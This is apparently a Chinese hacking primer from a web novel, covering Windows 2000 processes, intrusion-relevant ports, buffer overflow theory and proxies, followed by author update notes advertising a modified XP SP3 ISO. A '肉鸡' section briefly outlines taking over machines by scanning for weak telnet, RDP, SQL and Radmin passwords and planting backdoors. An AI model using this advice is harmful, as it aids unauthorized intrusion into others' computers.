  附加的系统进程(这些进程不是必要的,你可以根据需要通过服务管理器来增加或减少):

  mstask.exe允许程序在指定时间运行。(系统服务)

  regsvc.exe允许远程注册表操作。(系统服务)

  winmgmt.exe提供系统管理信息(系统服务)。

  inetinfo.exe通过Internet信息服务的管理单元提供FTP连接和管理。(系统服务)

  tlntsvr.exe允许远程用户登录到系统并且使用命令行运行控制台程序。(系统服务)

  允许通过Internet信息服务的管理单元管理Web和FTP服务。(系统服务)

  tftpd.exe实现TFTPInternet标准。该标准不要求用户名和密码。远程安装服务的一部分。(系统服务)

  termsrv.exe提供多会话环境允许客户端设备访问虚拟的Windows2000Professional桌面会话以及运行在服务器上的基

  于Windows的程序。(系统服务)

  dns.exe应答对域名系统(DNS)名称的查询和更新请求。(系统服务)

  以下服务很少会用到,上面的服务都对安全有害,如果不是必要的应该关掉

  tcpsvcs.exe提供在PXE可远程启动客户计算机上远程安装Windows2000Professional的能力。(系统服务)

  支持以下TCP/IP服务:CharacterGenerator,Daytime,Discard,Echo,以及QuoteoftheDay。(系统服务)

  ismserv.exe允许在WindowsAdvancedServer站点间发送和接收消息。(系统服务)

  ups.exe管理连接到计算机的不间断电源(UPS)。(系统服务)

  wins.exe为注册和解析NetBIOS型名称的TCP/IP客户提供NetBIOS名称服务。(系统服务)

  llssrv.exeLicenseLoggingService(systemservice)

  ntfrs.exe在多个服务器间维护文件目录内容的文件同步。(系统服务)

  RsSub.exe控制用来远程储存数据的媒体。(系统服务)

  locator.exe管理RPC名称服务数据库。(系统服务)

  lserver.exe注册客户端许可证。(系统服务)

  dfssvc.exe管理分布于局域网或广域网的逻辑卷。(系统服务)

  clipsrv.exe支持“剪贴簿查看器”,以便可以从远程剪贴簿查阅剪贴页面。(系统服务)

  msdtc.exe并列事务,是分布于两个以上的数据库,消息队列,文件系统,或其它事务保护资源管理器。(系统服务)

  faxsvc.exe帮助您发送和接收传真。(系统服务)

  cisvc.exeIndexingService(systemservice)

  dmadmin.exe磁盘管理请求的系统管理服务。(系统服务)

  mnmsrvc.exe允许有权限的用户使用NetMeeting远程访问Windows桌面。(系统服务)

  netdde.exe提供动态数据交换(DDE)的网络传输和安全特性。(系统服务)

  smlogsvc.exe配置性能日志和警报。(系统服务)

  rsvp.exe为依赖质量服务(QoS)的程序和控制应用程序提供网络信号和本地通信控制安装功能。(系统服务)

  RsEng.exe协调用来储存不常用数据的服务和管理工具。(系统服务)

  RsFsa.exe管理远程储存的文件的操作。(系统服务)

  grovel.exe扫描零备份存储(SIS)卷上的重复文件,并且将重复文件指向一个数据存储点,以节省磁盘空间。(系统服务)

  SCardSvr.exe对插入在计算机智能卡阅读器中的智能卡进行管理和访问控制。(系统服务)

  snmp.exe包含代理程序可以监视网络设备的活动并且向网络控制台工作站汇报。(系统服务)

  snmptrap.exe接收由本地或远程SNMP代理程序产生的陷阱消息,然后将消息传递到运行在这台计算机上SNMP管理程序

  。(系统服务)

  UtilMan.exe从一个窗口中启动和配置辅助工具。(系统服务)

  msiexec.exe依据.MSI文件中包含的命令来安装、修复以及删除软件。(系统服务)

  详细说明:

  win2k运行进程

  Svchost.exe

  Svchost.exe文件对那些从动态连接库中运行的服务来说是一个普通的主机进程名。Svhost.exe文件定位

  在系统的%systemroot%\\system32文件夹下。在启动的时候,Svchost.exe检查注册表中的位置来构建需要

  加载的服务列表。这就会使多个Svchost.exe在同一时间运行。每个Svchost.exe的回话期间都包含一组服务,

  以至于单独的服务必须依靠Svchost.exe怎样和在那里启动。这样就更加容易控制和查找错误。

  Svchost.exe组是用下面的注册表值来识别。

  HKEY_LOCAL_MACHINE\\Software\\Microsoft\\WindowsNT\\CurrentVersion\\Svchost

  每个在这个键下的值代表一个独立的Svchost组,并且当你正在看活动的进程时,它显示作为一个单独的

  例子。每个键值都是REG_MULTI_SZ类型的值而且包括运行在Svchost组内的服务。每个Svchost组都包含一个

  或多个从注册表值中选取的服务名,这个服务的参数值包含了一个ServiceDLL值。

  HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\Service

  更多的信息

  为了能看到正在运行在Svchost列表中的服务。

  开始-运行-敲入cmd

  然后在敲入tlist-s(tlist应该是win2k工具箱里的冬冬)

  Tlist显示一个活动进程的列表。开关-s显示在每个进程中的活动服务列表。如果想知道更多的关于

  进程的信息,可以敲tlistpid。

  Tlist显示Svchost.exe运行的两个例子。

  0SystemProcess

  8System

  132smss.exe

  160csrss.exeTitle:

  180winlogon.exeTitle:NetDDEAgent

  208services.exe

  Svcs:AppMgmt,Browser,Dhcp,dmserver,Dnscache,Eventlog,lanmanserver,LanmanWorkstation,LmHosts,Messenger,PlugPlay,

  ProtectedStorage,seclogon,TrkWks,W32Time,Wmi

  220lsass.exeSvcs:Netlogon,PolicyAgent,SamSs

  404svchost.exeSvcs:RpcSs

  452spoolsv.exeSvcs:Spooler

  544cisvc.exeSvcs:cisvc

  556svchost.exeSvcs:EventSystem,Netman,NtmsSvc,RasMan,SENS,TapiSrv

  580regsvc.exeSvcs:RemoteRegistry

  596mstask.exeSvcs:Schedule

  660snmp.exeSvcs:SNMP

  728winmgmt.exeSvcs:WinMgmt

  852cidaemon.exeTitle:OleMainThreadWndName

  812explorer.exeTitle:ProgramManager

  1032OSA.EXETitle:Reminder

  1300cmd.exeTitle:D:\\WINNT5\\System32\\cmd.exe-tlist-s

  1080MAPISP32.EXETitle:WMSIdle

  1264rundll32.exeTitle:

  1000mmc.exeTitle:DeviceManager

  1144tlist.exe

  在这个例子中注册表设置了两个组。

  HKEY_LOCAL_MACHINE\\Software\\Microsoft\\WindowsNT\\CurrentVersion\\Svchost:

  netsvcs:Reg_Multi_SZ:EventSystemIasIpripIrmonNetmanNwsapagentRasautoRasmanRemoteaccessSENSSharedaccess

  TapisrvNtmssvc

  rpcss:Reg_Multi_SZ:RpcSs

  smss.exe

  csrss.exe

  这个是用户模式Win32子系统的一部分。csrss代表客户/服务器运行子系统而且是一个基本的子系统

  必须一直运行。csrss负责控制windows,创建或者删除线程和一些16位的虚拟MS-DOS环境。

  explorer.exe

  这是一个用户的shell(我实在是不知道怎么翻译shell),在我们看起来就像任务条,桌面等等。这个

  进程并不是像你想象的那样是作为一个重要的进程运行在windows中,你可以从任务管理器中停掉它,或者重新启动。

  通常不会对系统产生什么负面影响。

  internat.exe

  这个进程是可以从任务管理器中关掉的。

  internat.exe在启动的时候开始运行。它加载由用户指定的不同的输入点。输入点是从注册表的这个位置

  HKEY_USERS\\.DEFAULT\\KeyboardLayout\\Preload加载内容的。

  internat.exe加载“EN”图标进入系统的图标区,允许使用者可以很容易的转换不同的输入点。

  当进程停掉的时候,图标就会消失,但是输入点仍然可以通过控制面板来改变。

  lsass.exe

  这个进程是不可以从任务管理器中关掉的。

  这是一个本地的安全授权服务,并且它会为使用winlogon服务的授权用户生成一个进程。这个进程是

  通过使用授权的包,例如默认的msgina.dll来执行的。如果授权是成功的,lsass就会产生用户的进入

  令牌,令牌别使用启动初始的shell。其他的由用户初始化的进程会继承这个令牌的。

  mstask.exe

  这个进程是不可以从任务管理器中关掉的。

  这是一个任务调度服务,负责用户事先决定在某一时间运行的任务的运行。

  smss.exe

  这个进程是不可以从任务管理器中关掉的。

  这是一个会话管理子系统,负责启动用户会话。这个进程是通过系统进程初始化的并且对许多活动的,

  包括已经正在运行的Winlogon,Win32(Csrss.exe)线程和设定的系统变量作出反映。在它启动这些

  进程后,它等待Winlogon或者Csrss结束。如果这些过程时正常的,系统就关掉了。如果发生了什么

  不可预料的事情,smss.exe就会让系统停止响应(就是挂起)。

  spoolsv.exe

  这个进程是不可以从任务管理器中关掉的。

  缓冲(spooler)服务是管理缓冲池中的打印和传真作业。

  service.exe

  这个进程是不可以从任务管理器中关掉的。

  大多数的系统核心模式进程是作为系统进程在运行。

  SystemIdleProcess

  这个进程是不可以从任务管理器中关掉的。

  这个进程是作为单线程运行在每个处理器上,并在系统不处理其他线程的时候分派处理器的时间。

  winlogon.exe

  这个进程是管理用户登录和推出的。而且winlogon在用户按下CTRL+ALT+DEL时就激活了,显示安全对话框。

  winmgmt.exe

  winmgmt是win2000客户端管理的核心组件。当客户端应用程序连接或当管理程序需要他本身的服务时这个进程初始化

  taskmagr.exe

  这个进程当然就是任务管理器了.不要忘哟.

  端口PORT

  这部分内容我自认为十分重要,假如你对端口有着深刻的理解,那么对你以后的学习会很有帮助的。下面我会先给大家引入解释再提供用法和入侵中常见端口的含义。

  在网络技术中,端口(Port)大致有两种意思:一是物理意义上的端口,比如,ADSLModem、集线器、交换机、路由器用于连接其他网络设备的接口,如RJ-45端口、SC端口等等。二是逻辑意义上的端口,一般是指TCP/IP协议中的端口,端口号的范围从0到65535,比如用于浏览网页服务的80端口,用于FTP服务的21端口等等。我们这里将要介绍的就是逻辑意义上的端口。我们重点谈谈逻辑上的端口。

  由于每种网络的服务功能都不相同,因此有必要将不同的封包送给不同的服务来处理,所以啰,当你的主机同时开启了FTP与WWW服务的时候,那么别人送来的资料封包,就会依照TCP上面的port号码来给FTP这个服务或者是WWW这个服务来处理,当然就不会搞乱啰!(注:嘿嘿!有些很少接触到网络的朋友,常常会问说:『咦!为什么你的计算机同时有FTP、WWW、E-Mail这么多服务,但是人家传资料过来,你的计算机怎么知道如何判断?计算机真的都不会误判吗?!』现在知道为什么了吗?!对啦!就是因为port不同嘛!你可以这样想啦,有一天,你要去银行存钱,那个银行就可以想成是『主机』,然后,银行当然不可能只有一种业务,里头就有相当多的窗口,那么你一进大门的时候,在门口的服务人员就会问你说:『嗨!你好呀!你要做些什么事?』你跟他说:『我要存钱呀!』,服务员接着就会告诉你:『喝!那么请前往三号窗口!那边的人员会帮您服务!』这个时候你总该不会往其它的窗口跑吧?!^_^\"\"这些窗口就可以想成是『port』啰!所以啦!每一种服务都有特定的port在监听!您无须担心计算机会误判的问题呦!)

  每一个TCP联机都必须由一端(通常为client)发起请求这个port通常是随机选择大于1024以上的port号来进行!其TCP封包会将(且只将)SYN旗标设定起来!这是整个联机的第一个封包

  如果另一端(通常为Server)接受这个请求的话(当然啰,特殊的服务需要以特殊的port来进行,例如FTP的port21),则会向请求端送回整个联机的第二个封包!其上除了SYN旗标之外同时还将ACK旗标也设定起来,并同时时在本机端建立资源以待联机之需;

  然后,请求端获得服务端第一个响应封包之后,必须再响应对方一个确认封包,此时封包只带ACK旗标(事实上﹐后继联机中的所有封包都必须带有ACK旗标)﹔

  只有当服务端收到请求端的确认(ACK)封包(也就是整个联机的第三个封包)之后﹐两端的联机才能正式建立。这就是所谓的TCP联机的\‘三段式交握(Three-WayHandshake)\‘的原理。

  经过三向交握之后,呵呵!你的client端的port通常是高于1024的随机取得的port至于主机端则视当时的服务是开启哪一个port而定,例如WWW选择80而FTP则以21为正常的联机信道!

  逻辑意义上的端口有多种分类标准,下面将介绍两种常见的分类:

  1.按端口号分布划分

  (1)知名端口(Well-KnownPorts)

  知名端口即众所周知的端口号,范围从0到1023,这些端口号一般固定分配给一些服务。比如21端口分配给FTP服务,25端口分配给*TP(简单邮件传输协议)服务,80端口分配给HTTP服务,135端口分配给RPC(远程过程调用)服务等等。

  (2)动态端口(DynamicPorts)

  动态端口的范围从1024到65535,这些端口号一般不固定分配给某个服务,也就是说许多服务都可以使用这些端口。只要运行的程序向系统提出访问网络的申请,那么系统就可以从这些端口号中分配一个供该程序使用。比如1024端口就是分配给第一个向系统发出申请的程序。在关闭程序进程后,就会释放所占用的端口号。

  不过,动态端口也常常被病毒木马程序所利用,如冰河默认连接端口是7626、WAY2.4是8011、Netspy3.0是7306、YAI病毒是1024等等。

  2.按协议类型划分

  按协议类型划分,可以分为TCP、UDP、IP和ICMP(Internet控制消息协议)等端口。下面主要介绍TCP和UDP端口:

  (1)TCP端口

  TCP端口,即传输控制协议端口,需要在客户端和服务器之间建立连接,这样可以提供可靠的数据传输。常见的包括FTP服务的21端口,Telnet服务的23端口,*TP服务的25端口,以及HTTP服务的80端口等等。

  (2)UDP端口

  UDP端口,即用户数据包协议端口,无需在客户端和服务器之间建立连接,安全性得不到保障。常见的有DNS服务的53端口,SNMP(简单网络管理协议)服务的161端口,QQ使用的8000和4000端口等等。

  查看端口

  在Windows2000/XP/Server2003中要查看端口,可以使用Netstat命令:

  依次点击“开始→运行”,键入“cmd”并回车,打开命令提示符窗口。在命令提示符状态下键入“netstat-a-n”,按下回车键后就可以看到以数字形式显示的TCP和UDP连接的端口号及状态。

  关闭/开启端口

  在介绍各种端口的作用前,这里先介绍一下在Windows中如何关闭/打开端口,因为默认的情况下,有很多不安全的或没有什么用的端口是开启的,比如Telnet服务的23端口、FTP服务的21端口、*TP服务的25端口、RPC服务的135端口等等。为了保证系统的安全性,我们可以通过下面的方法来关闭/开启端口。

  关闭端口

  比如在Windows2000/XP中关闭*TP服务的25端口,可以这样做:首先打开“控制面板”,双击“管理工具”,再双击“服务”。接着在打开的服务窗口中找到并双击“SimpleMailTransferProtocol(*TP)”服务,单击“停止”按钮来停止该服务,然后在“启动类型”中选择“已禁用”,最后单击“确定”按钮即可。这样,关闭了*TP服务就相当于关闭了对应的端口。

  开启端口

  如果要开启该端口只要先在“启动类型”选择“自动”,单击“确定”按钮,再打开该服务,在“服务状态”中单击“启动”按钮即可启用该端口,最后,单击“确定”按钮即可。

  提示:在Windows98中没有“服务”选项,你可以使用防火墙的规则设置功能来关闭/开启端口。

  端口分类

  下面的就是我们hacking时常见的端口。

  Port7Echo

  在你看到许多人搜索Fraggle服务器时,发送到x.x.x.0和x.x.x.255的信息。

  Port11Sysstat

  这是一种UNIX服务,它会列出机器上所有正在运行的进程以及是什么启动了这些进程。

  Port21FTP

  攻击者用于寻找打开“anonymous”的FTP服务器的最常见方法。

  Port23Telnet

  入侵者经常搜索远程登录UNIX的服务。在大多数情况下入侵者扫描这一端口是为了找到机器运行的操作系统。此外使用其它技术,入侵者会找到密码。

  Port25*TP

  垃圾邮件制造者(spammer)寻找*TP服务器是为了传递他们的Spam(垃圾邮件)。

  Port53DNS

  Crackers经常试图进行区域传递(TCP),欺骗DNS(UDP)或隐藏其它通讯。因此防火墙常常过滤或记录53端口。

  Port67和68Bootp和DHCPUDP上的Bootp/DHCP

  通过DSL和Cable-Modem的防火墙常会看见大量发送到广播地址255.255.255.255的数据。

  Port69TFTPUDP

  许多服务器与bootp一起提供这项服务,便于从系统下载启动代码。但是它们常常错误配置而从系统提供文件,如密码文件。

  Port80HTTP

  超文本传输协议,是最常见的协议,用于互联网的超文本页面访问。

  Port79Finger

  Crackers用于获得用户信息,查询操作系统,探测已知的缓冲区溢出错误,回应从自己机器到其它机器的Finger扫描。

  Port109POP2

  并不像POP3那样有名,但许多服务器同时提供两种服务(向后兼容)。在同一个服务器上POP3的漏洞在POP2中同样存在。

  Port110POP3

  用于客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。

  Port113IdentAuth

  这是一个在许多机器上运行的协议,用于鉴别与TCP连接的用户。

  Port119NNTPnews

  新闻组传输协议,承载USENET通讯。

  Port135OC-servMSRPCend-pointmapper

  Microsoft在这个端口运行DCERPCend-pointmapper为它的DCOM服务。

  Port139NetBIOS文件和打印共享

  Cracker通过这个端口的连接,试图获得NetBIOS/*B服务。

  Port143IMAP

  和上面POP3的安全问题一样,许多IMAP服务器在登录过程中有缓冲区溢出漏洞。

  Port161SNMPUDP

  入侵者常探测的端口。SNMP允许远程管理设备。所有配置和运行信息都储存在数据库中,通过SNMP获得这些信息。

  Port177Xdmcp

  许多Crackers通过它访问X-Windows控制台,它同时需要打开6000端口。

  Port513rwho

  可能是从使用cablemodem或DSL登录到的子网中的UNIX机器发出的广播,这些人为Crackers进入他们的系统提供了很有趣的信息。

  Port553CORBAIIOPUDP

  如果你使用cablemodem或DSLVLAN,你将会看到这个端口的广播。CORBA是一种面向对象的RPC(remoteprocedurecall)系统,Crackers会利用这些信息进入系统。

  Port1524Ingreslock后门

  许多攻击脚本将安装一个后门Shell于这个端口,尤其是那些针对Sun系统中,Sendmail和RPC服务漏洞的脚本。

  Port6776Sub-7artifact

  这个端口是从Sub-7主端口分离出来的,用于传送数据。

  Port6970RealAudio

  RealAudio客户从服务器6970-7170的UDP端口接收音频数据流。这是由TCP7070端口外向控制连接设置的。

  Port30100NetSphere木马TCP

  通常这一端口的扫描是为了寻找中了的NetSphere木马的主机。

  Port31337BackOrifice

  “elite”Crackers中31337读作“elite”/ei’lit/(法语,译为中坚力量,精华。即3=E1=L7=T)。因此许多后门程序运行于这一端口,其中最有名的是BackOrifice。

  Port31789Hack-a-tack

  这一端口的UDP通讯通常是由于Hack-a-tack远程访问木马端口(RATRemoteAccessTrojan)。

  Port32770~32900RPC服务

  SunSolaris的RPC服务在这一范围内。

  缓冲区溢出

  缓冲区溢出也是目前比较流行的攻击手段,大家应该对它的原理做些了解。

  作为成功的渗透系统安全的方法缓冲区溢出使用已经超过12年了。最早的缓冲区溢出攻击是着名的RobertMorris的因特网蠕虫,它获得了空前的成功。1988年,Morris发布了一个程序,在因特网上感染了上千台UNIX主机,Morris成功的获得了一个脆弱系统的存取方法,就是存在于fingerdDaemon的缓冲区溢出错误。一旦获得了一个脆弱系统的存取权限,Morris的程序会在机器上自动安装,并且千方百计去感染其他机器。Morris原来的目的是相对慢慢的传播到其他系统并且不被发现,在任何有影响的机器上不造成重要的混乱,然而,他的目的的完全落空了。Morris的一个编程错误导致了比原来预想更高的传播率。由于这个错误,机器被感染的速度非常的快,蠕虫以压倒性的优势攻击了系统,当然这也使其程序很快被检测出来,并且转变成当时最具破坏力的拒绝服务攻击。Morris的程序通常不能获得系统管理员权限,并且没有破坏被入侵系统上的任何信息,也没有留下任何时间爆炸或恶意的代码。

  1988-1996年,缓冲区溢出攻击仍然保持相对低的数量,一直的漏洞及时修补,而且由于很少人知道攻击的方法,发现并且执行新漏洞被认为很困难的事情。这一情况在1996年被戏剧性地改变了,当时Levy发表了一篇很好的论文,它显示了很多程序存在缓冲区溢出的危险,并且表明了对目标程序构造成功的缓冲区溢出攻击的技术比较简单,甚至攻击者没有对目标程序的实际代码的存取权。这两个因素的联合刺激了很多攻击者发现新漏洞。另外许多攻击被自动化,即使使用者一窍不通,也可以执行攻击。对如此攻击感兴趣的人常被成为“脚本小孩”

  不幸的是,太多这样一来的脚本小孩进行自动化攻击,是不慎重的系统管理员感到极其头痛。

  缓冲区溢出攻击是什么?

  当程序在数组中存储信息超过其预留的空间时,缓冲区溢出发生。这时引起临近区域的缓冲区被覆盖,从而破坏以前存储的数据。缓冲区溢出总是典型的被归为程序编程错误,因为程序员没有能预感程序输入进缓冲区的信息可能超过它定义的大小。不幸的是,正如我们所见,由于危险的C程序被广泛的使用,缓冲区溢出编程错误相当普遍。一旦缓冲区溢出漏洞在不适当的测试中未能被发现,以致于漏洞在隐蔽的程序中潜藏不被发现且沉默多年,这潜在的开放程序将成为利用漏洞获得系统非法存取的攻击目标。

  缓冲区溢出会偶然的在程序的执行其发生。当它发生时,并没有很大可能导致系统安全问题。最常用的是对缓冲区临近区域的信息进行攻击,从而引起程序崩溃或者产生明显错误的结果。另一方面,缓冲区溢出攻击中,攻击者的目的是利用漏洞惊心策划某种方法破坏信息,从而执行先前已经由攻击者植入的攻击代码,一旦成功,攻击者将有效的保持对程序的控制,典型的攻击代码在shell上执行,它允许攻击者在系统上执行任意的命令。

  当一个新的shell在Unix系统上产生,它将继承产生此shell的进程的存取权限,因而,如果被攻击具有缓冲区溢出危险进程的root权限,攻击者也将得到root,再次我们的讨论仅限于Unix系统,而实际上缓冲区溢出对大多数操作系统都适用,特别是许多攻击是成功的针对windowsNT和windows2000系统,Axelsson[1]通过已知的攻击类型对WINDOWSNT和UNIX系统安全进行了比较,发现他们几乎是同等的脆弱,缓冲区溢出可以是本地或者远程,本地攻击中,攻击者已经能访问系统,而他希望提高存取权限,远程攻击是通过一个网络端口进行的,并且可以同时完成获得非法存取权限和最大存取权限,总之,我们所见的缓冲区溢出的攻击通常由三部分组成:

  1,在目标程序中植入攻击代码。2,实际拷贝进入要溢出的缓冲区并破坏临近区域的数据结构。3,控制劫持从而执行攻击代码。

  下面我们对缓冲区攻击类型进行详细描述,

  破坏栈

  缓冲区溢出攻击的分类取决于缓冲区的分配,如果缓冲区的一个函数为本地一个变量,那么缓冲区存在于run-timestack。着是Levy论文中提到的攻击类型而且是迄今为止缓冲区溢出攻击最流行的形式,当函数被一个C程序调用时,在执行跳到被调用的函数的实际代码以前,函数的激活记录必须被推入run-timestack,在C程序中激活记录有下列区域组成:

  1,为函数中每个参数分配的空间。

  2,返回地址。

  3,动态连接。

  4,为函数每个本地变量所分配的空间。

  为了方便起见,我们认为动态连接的地址就是激活记录的基地址,函数能够存取他的参数和本地变量,在要求在函数执行其间寄存器包容函熟激活记录的基地址即动态连接区域的地址,参数位于栈中此地址之下,并且本地变量在此上面,当函数返回时,寄存器必须回复到它以前的值来指向被调用函数的激活记录,为了能做到这点,当函数被调用时,寄存器的值被保存在动态连接区域中,这样一来,每个激活记录的动态连接区域在栈上指向先前激活记录的动态连接域,接着在指向先前的激活记录的动态连接域,依此类推一直到栈的底部,在栈上的第一个激活记录是main()这一指针链被称为动态连接链,许多C编译器中缓冲区栈的底部发展,如果缓冲区溢出并且溢出足够,那么,返回地址将被破坏,(如作为两者之间的其他内容,包括动态连接)如果返回地址被缓冲区溢出覆盖,因而指向攻击代码,当函数返回时代码将被执行,这样一来,此类攻击就是利用在栈上的返回地址来劫持程序的控制权,正如以上所说,覆盖返回地址,赋予攻击者一定意义上劫持程序控制权,但是攻击代码应该存储在哪里呢?通常它在缓冲区存储,这样一来payload字符号串包含二进制机器语言的攻击代码将被复制到缓冲区中,就象覆盖返回地址的代码地址一样,攻击者执行这个计划必须克服一些困难,如果攻击者拥有被攻击程序的源代码就可以确切的知道缓冲区大小,离返回地址多远,以即payload字符串必须有多大?如今在许多操作系统中,例如:linux,openbsd,freebsd,甚至solaris源代码的存取是很普通的事情然而,levy演示的攻击即使不访问源代码,甚至不需要知道任何关于攻击程序运行的准确细节的知识也能实现攻击,攻击代码的地址可以通过各种各样的技术做近似猜测,例如攻击代码能以没有操作指令的一张长长的列表开始,以便控制能被传递给任何一方,从而正确执行攻击代码的关键部分,来实现没有权限而建立一个新的SHELL,该技术已经在morris的蠕虫中使用,同样payload字符串的尾巴可以由一张我们希望用来覆盖返回地址重复猜测攻击代码地址的表构成,这些技术增加了猜测地址的机会,从而足够接近编码攻击工作,现在我们看看为什么缓冲区溢出是如此普遍,假定缓冲区是用来存放字符串的字符数组,大多数程序具有字符串输入或能被攻击者利用实现的环境变量,程序必须读入这些输入并且分析它,以便做出适当的反映,通常为了分析输入,程序首先需要将输入内容复制到函数所分配的变量中,然后进行分析,为了这一目的程序员通常会为任何合理的输入保留一个足够大的缓冲区,将输入复制到缓冲区,程序通常使用典型标准C库中的字符拷贝函数,例如:strcpy()如果不够小心的话,将引发缓冲区溢出的危险,许多C程序员需要使用此模式,所以许多程序将包含缓冲区溢出的危险。

  网络代理服务器

  代理也是黑客们常用到的,黑客可以利用它在网络里隐身,是逃避追踪的良好手段,下面我们来了解一下吧!

  代理有很多种解释,而我们常常提到的代理,从计算机专业角度来说就是指代理服务器相关,针对syx-kn的提问,我先把代理服务器向大家简单的介绍一下吧!!

  代理服务器英文全称是ProxyServer,其功能就是代理网络用户去取得网络信息。形象的说:它是网络信息的中转站。在一般情况下,我们使用网络浏览器直接去连接其他Internet站点取得网络信息时,须送出Request信号来得到回答,然后对方再把信息以bit方式传送回来。代理服务器是介于浏览器和Web服务器之间的一台服务器,有了它之后,浏览器不是直接到Web服务器去取回网页而是向代理服务器发出请求,Request信号会先送到代理服务器,由代理服务器来取回浏览器所需要的信息并传送给你的浏览器。而且,大部分代理服务器都具有缓冲的功能,就好象一个大的Cache,它有很大的存储空间,它不断将新取得数据储存到它本机的存储器上,如果浏览器所请求的数据在它本机的存储器上已经存在而且是最新的,那么它就不重新从Web服务器取数据,而直接将存储器上的数据传送给用户的浏览器,这样就能显着提高浏览速度和效率。更重要的是:ProxyServer(代理服务器)是Internet链路级网关所提供的一种重要的安全功能,它的工作主要在开放系统互联(OSI)模型的对话层。

  代理服务器(ProxyServer)就是个人网络和因特网服务商之间的中间代理机构,它负责转发合法的网络信息,并对转发进行控制和登记。在使用网络浏览器浏览网络信息的时候,如果使用代理服务器,浏览器就不是直接到Web服务器去取回网页,而是向代理服务器发出请求,由代理服务器取回浏览器所需要的信息。目前使用的因特网是一个典型的客户机/服务器结构,当用户的本地机与因特网连接时,通过本地机的客户程序比如浏览器或者软件下载工具发出请求,远端的服务器在接到请求之后响应请求并提供相应的服务。

  代理服务器处在客户机和服务器之间,对于远程服务器而言,代理服务器是客户机,它向服务器提出各种服务申请;对于客户机而言,代理服务器则是服务器,它接受客户机提出的申请并提供相应的服务。也就是说,客户机访问因特网时所发出的请求不再直接发送到远程服务器,而是被送到了代理服务器上,代理服务器再向远程的服务器提出相应的申请,接收远程服务器提供的数据并保存在自己的硬盘上,然后用这些数据对客户机提供相应的服务。

  讲了这么多,其实对于菜鸟们所提的代理,主要是应用,这里我再附加上设置代理服务器的方法:

  IE4.01:菜单栏“查看”->下拉菜单“Internet选项”->选项卡“连接”->在“代理服务器”一栏选中“通过代理服务器访问Internet”,输入地址和端口号。->确定。

  IE5.0:菜单栏“工具”->下拉菜单“Internet选项”->选项卡“连接”->在“拨号设置”中选中您目前使用的连接,然后点击右侧的“设置”->在中间的“代理服务器”栏选中“使用代理服务器”->在“地址”和“端口”栏输入HTTP代理服务器地址和端口->确定->确定

  肉鸡是什么

  什么是肉鸡呢?

  假如你已经获得一台远程电脑的控制权限,那么这台电脑对于你来说就是肉鸡。肉鸡可以是win、Unix/Linux……等各种系统;肉鸡可以是一家公司的服务器,一家网站的服务器,甚至是美国白宫或军方的电脑,只要你有这本事入侵并控制他。

  要登陆肉鸡,必须知道3个参数:远程电脑的IP、用户名、密码。

  怎么获得肉鸡呢?相信这个是大家最迫切想知道的。

  我就告诉大家一些普通的方法。

  首先你需要一个扫描器,比如流光,X-SCAN等,扫带弱口令并且开了telnet或3389等的机器,然后登陆留下后门(但这种肉鸡似乎绝种了)。

  还可以扫SQL弱口令机器,然后用SQL连接器连接并控制,目前很多人都采用此方法。

  知道redmin的朋友也可以扫4899空密码的机器。

  方法还有很多,等待大家去挖掘开发

  


  今天有点事情耽搁了,没有码字,所以更新不了了。还望书友们海涵则个。

  明天可能也只能更新一章,当然我会尽量更新两章的。实在不行,在周末两天中,我加班加点也会把这两章补上的,希望大家能理解。

  浊夜5.29午夜拜上


  这几天忙考试,忙设计,晚上还测试系统,实在是没空写小说。浊夜给大家道歉了~明天恢复正常,下周把欠下的四章全部补上。

  最费时间的是测试系统,xp的sp3已经出了很久了,一直都想整合一张自己的sp3光盘。鉴于ghost对硬件的支持不是很好,所以我整合的是安装版。

  众所周知,安装版系统装好后就之后一个光秃秃的系统,没有驱动也没有软件。为了方便使用,我打算在系统中集成安装常用软件,比如office之类并且集成驱动,这些都很容易坐到。

  唯一需要耗费大量时间的是如何解决软件的自动安装问题,虽然有些软件有静默安装参数,但是很大部分是没有的。所以,为了达成静默安装的目的,我就必须要自己写一些小程序来辅助软件的安装,达到自动安装的目的。虽然程序都很短,很容易写,但是这些程序测试起来却很费时间。

  首先在虚拟机中测试,没过就改,过了就真机测试。而且还需要在系统安装时测试,系统安装的有多慢,大家都知道,一次最少要二十分钟,所以实在是很费时间。

  这张光碟打算做三个版本,一个是xp原版的,还有一个是mac美化版,最后一个vist美化版,毕竟有时候给人装系统会有不同的需求。如果不出意外的话,打算在这周搞定它,然后下周全力码字,补上拖欠的章节。

  如果到时候有读者需要这张光碟,我可以把它传到网上给大家下载。

  以上,原因都说了,请大家多包涵,毕竟作者也有自己的事要做,不能天天码字,而且我是业余爱好码字,不像那些大神是职业的。

  大家多多包涵,见谅见谅!


  昨天又没更新,浊夜实在是对不住大家。还望大家多包涵~等会我就去码字更新,我欠了6章,下周一定全力码字补上来,大家见谅。

  经过俺这两天艰苦卓绝的奋斗,最后终于成功的完成了系统的制作,并测试完毕,期间通宵一次,饿了一天没吃东西在测试,真是凄凉~

  不过一切都过去了,现在已经做好了,如果有读者需要下载这个系统的话,可以到这里去看介绍和下载地址:http://os.deepin.org/read.php?tid=705600&page=1&toread=1

  这里也简单的介绍一下这个被本人命名为倩女楼阁V2版的系统盘的特点:

  1、本系统除了提供原版的XPSP3精简版系统外,另外还提供一个VISTA美化版的XPSP3和一个MAC美化版的XPSP3。很重要的一点,本光盘三个系统都是安装版,不是GHOST版,因为GHOST版在硬件的支持上还不能坐到完美,有些硬件系能会受到很大影响。

  2、本系统集成驱动安装,也就是说系统装完后,不用再手动安装驱动了。另外还集成了Office2003、Kmplayer、千千静听、Winrar这四个软件,方便使用。

  3、VISTA美化版只进行了图标界面的美化,没有集成特效软件,不过我在光盘中加了一个特效包,可手动安装。

  4、MAC美化版集成了几个特效软件,开机内存有点大,达到了85M(这里没有算集成显卡占用的部分),具体的大家可以去看截图。

  5、本光盘另外还收集了常用装机软件,像迅雷、QQ、火狐等等,基本上能坐到一盘在手装机无忧。o(∩_∩)o...

  6、WINPE光盘维护操作系统,这个……当然也有了。

  7、可从光盘启动运行PM8.05、GHOST、迈思DOS、PE维护系统。

  8、具体的大家看贴图,人懒就不多说了~

  这里也有系统截图地址,想看的读者请进:http://2095697.886.cn/&module=default&submod=item_list&method=albumpix_list&album_id=1913253&v=564

  最后,最重要的,下载地址:http://www.namipan.com/d/qnlg2.0.iso/54e4d1f1989790e1d7506499befbc58d7b6fd9ae0098a62b

  小水管传了六七个小时才穿好,呜呜~

  下完后,记得检验MD5:C4BD6C209820CF63510D39DE8BA831A8

